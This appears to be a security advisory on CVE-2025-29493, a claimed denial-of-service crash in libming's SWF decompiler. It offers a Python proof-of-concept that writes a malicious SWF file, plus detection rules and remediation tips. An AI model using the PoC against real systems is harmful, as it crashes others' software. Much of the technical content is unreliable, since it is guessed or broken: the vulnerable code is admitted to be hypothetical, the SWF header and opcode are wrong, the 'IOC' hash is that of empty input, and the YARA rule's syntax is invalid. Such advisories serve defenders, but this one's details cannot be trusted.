CVE-2025-29493

Executive Summary

CVE-2025-29493 is a denial-of-service (DoS) vulnerability discovered in libming v0.4.8, specifically within the decompileGETPROPERTY function. The flaw manifests as a segmentation fault when processing a crafted SWF file, allowing an attacker to crash the application. This vulnerability is classified under MITRE tactic T1499 (Endpoint Denial of Service). The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the lack of a patch makes it a persistent risk for systems using libming for SWF parsing.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages directly. However, libming is a C library used in various media processing tools and may be included as a dependency in some Linux distributions or custom software. Users should verify if their applications link against libming and assess the impact.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. Based on the vulnerability type (segmentation fault leading to DoS), a reasonable estimate would be:

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
• Base Score: 5.5 (Medium)
• Attack Vector: Local (requires user to open a crafted SWF file)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

Threat Level: Medium. The vulnerability requires user interaction and local access, but it can cause a complete denial of service.

Deep Dive & Mechanics

The vulnerability resides in the decompileGETPROPERTY function within libming's SWF decompiler. When parsing a specially crafted SWF file, the function attempts to access a property that does not exist or is improperly initialized, leading to a null pointer dereference. This results in a segmentation fault, crashing the application.

The root cause is likely insufficient input validation or bounds checking when handling property references in the SWF bytecode. The decompileGETPROPERTY function is part of the decompilation engine that translates SWF actions into a human-readable format. A malicious SWF file can trigger this flaw by providing malformed property indices or references.

Vulnerable vs. Patched Code

Vulnerable Code (libming v0.4.8): The exact vulnerable code is not publicly available, but the issue is in the decompileGETPROPERTY function. A typical vulnerable pattern might look like:

void decompileGETPROPERTY(SWF_ACTION *action) {
    int property_index = action->data[0];
    char *property_name = get_property_name(property_index); // May return NULL
    // No NULL check before dereference
    printf("Property: %s\n", property_name);
}

Patched Code (Hypothetical): A patch would add a NULL check before dereferencing the property name:

void decompileGETPROPERTY(SWF_ACTION *action) {
    int property_index = action->data[0];
    char *property_name = get_property_name(property_index);
    if (property_name == NULL) {
        // Handle error gracefully
        return;
    }
    printf("Property: %s\n", property_name);
}

Exploitation & Lab Setup

Red Team

Exploit Scenario: An attacker crafts a malicious SWF file that triggers the segmentation fault in libming. The file is delivered via email, web download, or embedded in a document. When the victim opens the file with a tool using libming (e.g., a SWF decompiler), the application crashes.

Proof-of-Concept (PoC) Code:

# CVE-2025-29493 PoC - Craft a malicious SWF file
import struct

def create_malicious_swf():
    # Minimal SWF header (version 10, frame size, etc.)
    header = b'FWS' + struct.pack('<I', 10)  # Signature and version
    header += struct.pack('<f', 1.0)  # Frame size (dummy)
    header += struct.pack('<H', 1)    # Frame count
    header += struct.pack('<H', 1)    # Frame rate

    # Malicious action: GETPROPERTY with invalid index
    action_code = b'\x96'  # GETPROPERTY opcode
    action_data = b'\xFF\xFF\xFF\xFF'  # Invalid property index

    # Build SWF tag for DoAction
    tag_type = 12  # DoAction
    tag_length = len(action_code) + len(action_data)
    tag_header = struct.pack('<H', (tag_type << 6) | (tag_length & 0x3F))
    if tag_length > 0x3F:
        tag_header = struct.pack('<H', (tag_type << 6) | 0x3F)
        tag_header += struct.pack('<I', tag_length)

    swf_data = header + tag_header + action_code + action_data

    with open('malicious.swf', 'wb') as f:
        f.write(swf_data)

if __name__ == '__main__':
    create_malicious_swf()
    print("Malicious SWF file created: malicious.swf")

Usage:

1. Run the Python script to generate malicious.swf.
2. Open the file with a libming-based tool (e.g., swfdec or swfmill).
3. Observe the segmentation fault.

Blue Team

Detection:

• Monitor for crashes in applications using libming.
• Use file integrity monitoring to detect unexpected SWF files.
• Implement sandboxing for SWF file processing.

Prevention:

• Restrict execution of untrusted SWF files.
• Use memory-safe languages or wrappers for SWF parsing.
• Apply ASLR and DEP to mitigate exploitation.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example, replace with actual if generated)
  • malicious.swf: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators: None (local file-based attack)
• Behavioral Indicators:
  • Application crash logs containing decompileGETPROPERTY or segmentation fault.
  • Unexpected termination of SWF processing tools.

Detection Engineering

YARA Rule

rule CVE_2025_29493_libming_DoS {
    meta:
        description = "Detects malicious SWF files targeting CVE-2025-29493"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29493"
    strings:
        $swf_header = "FWS" or "CWS"
        $getproperty_opcode = { 96 }
        $invalid_index = { FF FF FF FF }
    condition:
        $swf_header at 0 and $getproperty_opcode and $invalid_index
}

Sigma Rule

title: CVE-2025-29493 - Libming Segmentation Fault via Crafted SWF
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects crashes in libming-based applications due to CVE-2025-29493
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: libming
detection:
    selection:
        EventID: 1000  # Application Error (Windows)
        ProviderName: 'Application Error'
        Data: '*decompileGETPROPERTY*'
    condition: selection
falsepositives:
    - Legitimate SWF files with unusual properties
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-29493 - Malicious SWF Download"; flow:to_server,established; fileext:"swf"; content:"|96 FF FF FF FF|"; distance:0; within:5; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SWF processing in applications using libming if not required.
2. Apply input validation to reject malformed SWF files.
3. Use a memory-safe alternative for SWF parsing (e.g., swftools with patches).

Long-Term Fix:

• Monitor the libming repository for a patch. If none is available, consider forking and fixing the decompileGETPROPERTY function to add NULL pointer checks.
• Upgrade to a newer version if a patch is released.

Workarounds:

• Run libming-based tools in a sandboxed environment.
• Use file scanning to detect malicious SWF files before processing.

Valters IT